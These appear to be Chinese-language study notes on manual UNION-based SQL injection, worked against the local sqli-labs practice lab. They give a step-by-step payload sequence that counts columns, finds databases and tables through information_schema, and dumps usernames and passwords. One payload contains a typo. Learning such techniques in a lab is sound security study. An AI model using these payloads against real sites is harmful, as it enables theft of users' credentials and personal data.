sql注入的本质:用户输入的数据不是正常的数据,而是sql语句,能够被数据库执行
Less-1 手工注入讲解 :
白盒分析(你能看到这个网站的源代码):
黑盒分析(你看不到他的源代码,只能看到这个网站): sql注入的目的:是为了拿到你数据库里面的的信息---可能是记录了用户密码---可能是你公司人的身份证号码---家庭住址等等。。。
本质:用户输入的数据不是正常的数据,而是sql语句,能够被数据库执行 数据库是有结构的---数据库结构---1.库---2.表---3.字段---4.数据
想拿到数据得先拿到库名其次是表名---知道表名之后知道字段名---这些都知道之后才知道数据
union作用:联合查询,作用于合并两条或多个select语句的结果集
为什么要用union?---因为在php源代码中已经有一个select代码了,在地址栏写入时内容是行不通的(会报错)所有用上union时,数据会联合可以将两条语句合并或多条语句
union只能做查询
union规则:union内部的select语句必须拥有相同字的段数
order by作用:对结果集进行排序
eg:↓
select * from users order by 1
1←第一列
order by目的:查询字段数
information_schema库里有两张表要记住
tables---字段table_schema记录了所有库的库名----字段table_name记录了库名下所有的表名
columns---字段table_schema记录了所有库的库名----字段table_name记录了库名下所有的表名----column_name记录了表中对应的字段名
如何得知表名,字段名
用union查找回显位
database()---查询库名-----获取数据库名称会使用到 database(),而 database()是数据库内嵌的函数,主要是用于查询当前的数据库名称****
version() ********************#MySQL 版本
user() ************************#数据库用户名
database() ********************#数据库名
@@datadir ********************#数据库路径
@@version_compile_os *******#操作系统版本
语法:group_concat (str1, str2,...)
group_concat()函数功能:将 where 条件匹配到的多条记录连接成一个字符串。
limit:用于查询语句中,用于限制查询结果返回的行数
扩展:0x 是十六进制的标志,3a 即十六进制的 3a。 0x3a 在 ASCII 码表代表: 冒号
less-1-----eg:
id' LIMIT 0,1";
库名:security
表名:emails,referers,uagents,users
字段名:id,username,password
less-2----eg:
?id=-1 union select 1 ,table_name,3 from information_schema.tables where table_schema=’security’
$sql="SELECT * FROM users WHERE id=?id=-1 union select 1 ,table_name,3 from information_schema.tables where table_schema=’security’ limit 1,1 --+ LIMIT 0,1";
6
less-3-----eg:
库名:security
表名:emails,referers,uagents,users
字段名:id,username,password
less-4----eg:
1. [http://127.0.0.1/sqli-labs/Less-4/?id=1]
2. [http://127.0.0.1/sqli-labs/Less-4/?id=1")%20order%20by%204%20--+]
3. [http://127.0.0.1/sqli-labs/Less-4/?id=-1")%20union%20select%201,2,3%20--+]
4. [http://127.0.0.1/sqli-labs/Less-4/?id=-1")%20union%20select%201,2,group_concat(database())%20--+]
库名:security
表名:emails,referers,uagents,users
字段名:id,username,password
7.?id=1”) union select group_concat(id,username,password) form users --+
group_concat()
sql注入步骤
第一步---?id=1\ ------用\转义符号查看网站报错
第二步---order by 3 -----查询字段数
第三步---union select 1,2,3 --+ ----回显数据1 2 3-----相当于填充三列数据 1 2 3
第四步---union select 1,2,database() --+ ----在回显3的位置上输出库名
第五步---union select 1,2,table_name from information_schema.tables where table_schema=database() --+ ----在回显3的位置上输出表名---红色标记是数据库中存在的,可查询的表名。
第六步---union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=’表名’ --+ -------在回显3的位置上输出字段名
第七步---union select id,username,password(查询出来的字段名)from 表名 --+ ----最后给出表的所有数据